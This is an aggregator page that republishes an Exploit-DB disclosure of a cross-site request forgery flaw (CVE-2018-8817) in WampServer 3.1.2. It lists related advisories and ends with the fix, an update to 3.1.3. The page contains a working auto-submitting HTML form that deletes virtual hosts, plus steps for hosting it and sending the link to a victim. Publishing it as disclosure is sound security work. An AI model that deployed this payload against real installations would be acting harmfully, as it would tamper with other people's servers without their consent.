Lucene search
K

WampServer 3.1.2 - Cross-Site Request Forgery

🗓️ 02 Apr 2018 00:00:00Reported by Vipin ChaudharyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

WampServer 3.1.2 CSRF allows remote attackers to add or delete virtual host

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WampServer 3.1.2 CSRF to add or delete any virtual hosts remotely Vulnerability
31 Mar 201800:00
zdt
ATTACKERKB
CVE-2018-8817
25 Mar 201819:29
attackerkb
Circl
CVE-2018-8817
2 Apr 201800:00
circl
CNVD
Wampserver Cross-Site Request Forgery Vulnerability
26 Mar 201800:00
cnvd
CVE
CVE-2018-8817
25 Mar 201819:00
cve
Cvelist
CVE-2018-8817
25 Mar 201819:00
cvelist
EUVD
EUVD-2018-20426
7 Oct 202500:30
euvd
exploitpack
WampServer 3.1.2 - Cross-Site Request Forgery
2 Apr 201800:00
exploitpack
NVD
CVE-2018-8817
25 Mar 201819:29
nvd
OpenVAS
WampServer < 3.1.3 CSRF Vulnerability
27 Mar 201800:00
openvas
Rows per page
# Exploit Title: WampServer 3.1.2 CSRF to add or delete any virtual hostsremotely
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.2
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8817


1. Description

CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote
attacker to force any victim to add or delete virtual hosts.

http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722

2. Proof of Concept

How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on
internet and send the link to the victim.

*Exploit Code for deleting any host remotely:*

1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="http://localhost/add_vhost.php?lang=english"
name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value="localhost" />
      <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost"
/>
    </form>
  </body>
</html>

2. Then run it on your installed vulnerable wampserver.

3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Apr 2018 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 26.8
CVSS 38.8
EPSS0.00427
45